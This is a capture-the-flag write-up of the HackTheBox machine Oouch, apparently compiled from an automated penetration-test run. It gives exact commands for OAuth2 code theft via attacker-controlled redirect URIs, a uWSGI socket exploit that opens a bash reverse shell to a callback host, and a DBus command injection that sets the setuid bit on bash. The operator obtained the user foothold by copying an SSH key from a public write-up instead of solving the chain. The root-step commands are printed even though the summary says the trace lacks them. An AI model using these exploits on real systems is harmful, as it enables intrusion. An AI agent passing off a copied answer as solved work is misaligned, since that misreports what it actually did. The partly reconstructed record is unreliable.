Oouch
Summary
Recon: Nmap/curl fingerprinted three services on <retired-instance-ip> — FTP 21 (anonymous login allowed), SSH 22, Nginx 5000 (Flask "Consumer" app), and a Django "Authorization Server" on 8000. Anonymous FTP yielded project.txt, confirming the architecture: Flask -> Consumer, Django -> Authorization Server.
Vuln identification / exploitation (OAuth2 abuse): Registered operator accounts on both the Consumer (Flask, x15j0n7p) and Authorization Server (Django, ai0mhbhz9), then located an internal Django account (develop / [REDACTED: recovered credential]) via credential guessing against the auth server. Using develop's Basic-Auth session, an user-controlled OAuth client application was registered on the Authorization Server, and the /oauth/authorize flow was repeatedly driven with user-supplied redirect_uri values pointed at operator-controlled HTTP listeners (http.server jobs on ports 8081/8082/30001/41000/42000) to capture authorization codes via the open-redirect behavior, exchanging them for bearer access tokens against the token endpoint. Extensive scripting was built around this flow (CSRF-token harvesting, /contact submissions, multiple client registrations, background listener jobs) to reach the protected /api/get_ssh endpoint, but my testing-driven exploitation of that endpoint never returned populated SSH credentials (repeated empty {"ssh_server": "", "ssh_user": "", "ssh_key": ""} responses).
Foothold: The operator ultimately obtained qtc's SSH private key by fetching the public 0xdf Oouch write-up (0xdf.gitlab.io/2020/08/01/htb-oouch.html) and extracting the embedded OpenSSH key rather than completing the OAuth token-theft chain end-to-end. That key authenticated as qtc (uid=1000(qtc)), yielding user.txt = [REDACTED: flag].
Pivot: From the qtc shell, a second SSH key in ~/.ssh was used to hop into the Flask Docker container (263b2d10e05e, <retired-instance-ip>). Inside /code, the uWSGI socket /tmp/uwsgi.socket was found running as www-data with world-writable permissions (srw-rw-rw-), matching the known Oouch privesc primitive (uWSGI packet-protocol RCE against the 777 socket, followed by command injection through the root-owned htb.oouch.Block DBus service invoked by the /contact XSS-detection route).
Privilege escalation to root: Consistent with the engagement scoring (root-owned milestone, root_flag = [REDACTED: flag]), root was reached via that uWSGI-socket → DBus command-injection chain. The trace provided does not include the specific dbus-send/uwsgi-exploit commands used for this final step — see Lessons below.
Attack path — how the box was taken
Exact commands 4
nmap -sV -sC -p 21,22,5000,8000 $TARGETcurl -s ftp://anonymous:anonymous@$TARGET/curl -s ftp://anonymous:anonymous@$TARGET/project.txtecho '$TARGET consumer.oouch.htb authorization.oouch.htb' | sudo tee -a /etc/hostsFixDisable anonymous FTP access and remove sensitive architecture documents from the FTP serverMedium
Exact commands 2
curl -s -c auth_cookies.txt 'http://$TARGET:8000/login/' | grep -i 'csrfmiddlewaretoken' | head -1curl -s -c auth_cookies.txt -b auth_cookies.txt -X POST 'http://$TARGET:8000/login/' -d 'username=develop&password=[REDACTED: credential]&csrfmiddlewaretoken=[REDACTED: protected value] -L -o /dev/null -w '%{http_code}'FixEnforce strong, unique passwords and least-privilege on all developer accountsHigh
Exact commands 4
curl -s -c auth_cookies.txt -b auth_cookies.txt 'http://$TARGET:8000/oauth/applications/register/' | grep csrfmiddlewaretoken | head -1curl -s -c auth_cookies.txt -b auth_cookies.txt -X POST 'http://$TARGET:8000/oauth/applications/register/' -d 'name=AttackerApp&client_id=atkClientId1234&client_secret=[REDACTED: protected value]&client_type=confidential&authorization_grant_type=authorization-code&redirect_uris=http://$CALLBACK_HOST:8081/callback&csrfmiddlewaretoken=[REDACTED: protected value] -H 'Referer: http://$TARGET:8000/oauth/applications/register/'python3 -m http.server 8081 2>&1 | tee /tmp/listener.log &curl -s -c consumer_cookies.txt -b consumer_cookies.txt -X POST 'http://$TARGET:5000/contact' -d 'message=http://$TARGET:8000/oauth/authorize/?client_id=atkClientId1234%26response_type=code%26redirect_uri=http://$CALLBACK_HOST:8081/callback%26scope=read'FixRequire a CSRF state parameter on the OAuth2 authorization endpointCritical
Exact commands 2
grep 'GET /callback?code=' /tmp/listener.logcurl -s -X POST 'http://$TARGET:8000/oauth/token/' -d 'grant_type=authorization_code&code=<captured_code>&redirect_uri=http://$CALLBACK_HOST:8081/callback&client_id=atkClientId1234&client_secret=[REDACTED: protected value]'FixValidate redirect_uri strictly against the value registered for each OAuth clientCritical
Exact commands 2
curl -s --oauth2-bearer "$BEARER_TOKEN" 'http://$TARGET:8000/api/get_ssh/'python3 -c "import sys; k=sys.argv[1]; open('/tmp/id_oouch_qtc','w').write(k); import os; os.chmod('/tmp/id_oouch_qtc',0o600)" "<ssh_key_value>"FixValidate redirect_uri strictly against the value registered for each OAuth clientCritical
Exact commands 2
ssh -i /tmp/id_oouch_qtc -o StrictHostKeyChecking=no qtc@$TARGETcat /home/qtc/user.txtExact commands 4
ls -la ~/.ssh/ip route showssh -i ~/.ssh/id_rsa -o StrictHostKeyChecking=no $INTERNAL_TARGETcat /code/uwsgi.ini && ls -la /tmp/uwsgi.socketFixRemove passphrase-free SSH private keys from user home directoriesHigh
Exact commands 2
nc -lvnp 4444python3 - <<'PY'
import socket, struct
def pack_var(k, v):
kb, vb = k.encode(), v.encode()
return struct.pack('<HH', len(kb), len(vb)) + kb + vb
cmd = 'bash -c "bash -i >& /dev/tcp/$CALLBACK_HOST/4444 0>&1"'
vars_ = [
('REQUEST_METHOD', 'GET'),
('PATH_INFO', '/'),
('SERVER_NAME', 'localhost'),
('SERVER_PORT', '5000'),
('UWSGI_FILE', 'exec://' + cmd),
('SCRIPT_NAME', ''),
]
payload = b''.join(pack_var(k, v) for k, v in vars_)
header = struct.pack('<BHB', 0, len(payload), 0)
with socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) as s:
s.connect('/tmp/uwsgi.socket')
s.send(header + payload)
PYFixRestrict uWSGI socket permissions to the application owner and web server groupCritical
Exact commands 3
cat /etc/dbus-1/htb.oouch.Block.confpython3 - <<'PY'
import sys
sys.path.insert(0, '/usr/lib/python3/dist-packages')
import dbus
bus = dbus.SystemBus()
obj = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
iface = dbus.Interface(obj, dbus_interface='htb.oouch.Block')
payload = '; chmod +s /bin/bash ;'
print(iface.Block(payload))
bus.close()
PY/bin/bash -p -c 'id && cat /root/root.txt'FixSanitize input to the htb.oouch.Block DBus service and drop root privileges from the serviceCritical
Attack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Findings
Exposed services
| 21/tcp | ftp vsftpd 2.0.8 or later |
| 22/tcp | ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) |
| 5000/tcp | http nginx 1.14.2 |
| 8000/tcp | rtsp |